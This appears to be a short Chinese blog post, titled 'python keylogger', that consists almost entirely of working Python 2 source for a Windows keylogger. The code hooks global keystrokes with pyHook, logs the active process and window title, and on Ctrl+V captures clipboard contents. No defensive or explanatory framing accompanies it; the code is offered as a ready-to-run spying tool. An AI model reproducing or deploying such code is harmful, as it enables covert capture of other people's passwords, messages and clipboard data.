python 键盘记录器

Bertha 。 2021-06-24 15:58 372阅读 0赞

# -*- coding: utf-8 -*- 
    from ctypes import *
    import pythoncom
    import pyHook
    import win32clipboard
    
    user32 = windll.user32
    kernel32 = windll.kernel32
    psapi = windll.psapi
    current_window = None
    
    # 
    def get_current_process():
    
        # 获取最上层的窗口句柄
        hwnd = user32.GetForegroundWindow()
    
        # 获取进程ID
        pid = c_ulong(0)
        user32.GetWindowThreadProcessId(hwnd,byref(pid))
    
        # 将进程ID存入变量中
        process_id = "%d" % pid.value
    
        # 申请内存
        executable = create_string_buffer("\x00"*512)
        h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)
    
        psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
    
        # 读取窗口标题
        windows_title = create_string_buffer("\x00"*512)
        length = user32.GetWindowTextA(hwnd,byref(windows_title),512)
    
        # 打印
        print 
        print "[ PID:%s-%s-%s]" % (process_id,executable.value,windows_title.value)
        print 
    
        # 关闭handles
        kernel32.CloseHandle(hwnd)
        kernel32.CloseHandle(h_process)
    
    # 定义击键监听事件函数
    def KeyStroke(event):
    
        global current_window
    
        # 检测目标窗口是否转移(换了其他窗口就监听新的窗口)
        if event.WindowName != current_window:
            current_window = event.WindowName
            # 函数调用
            get_current_process()
    
        # 检测击键是否常规按键（非组合键等）
        if event.Ascii > 32 and event.Ascii <127:
            print chr(event.Ascii),
        else:
            # 如果发现Ctrl+v（粘贴）事件，就把粘贴板内容记录下来
            if event.Key == "V":
                win32clipboard.OpenClipboard()
                pasted_value = win32clipboard.GetClipboardData()
                win32clipboard.CloseClipboard()
                print "[PASTE]-%s" % (pasted_value),
            else:
                print "[%s]" % event.Key,
        # 循环监听下一个击键事件
        return True
    
    # 创建并注册hook管理器
    kl = pyHook.HookManager()
    kl.KeyDown = KeyStroke
    
    # 注册hook并执行
    kl.HookKeyboard()
    pythoncom.PumpMessages()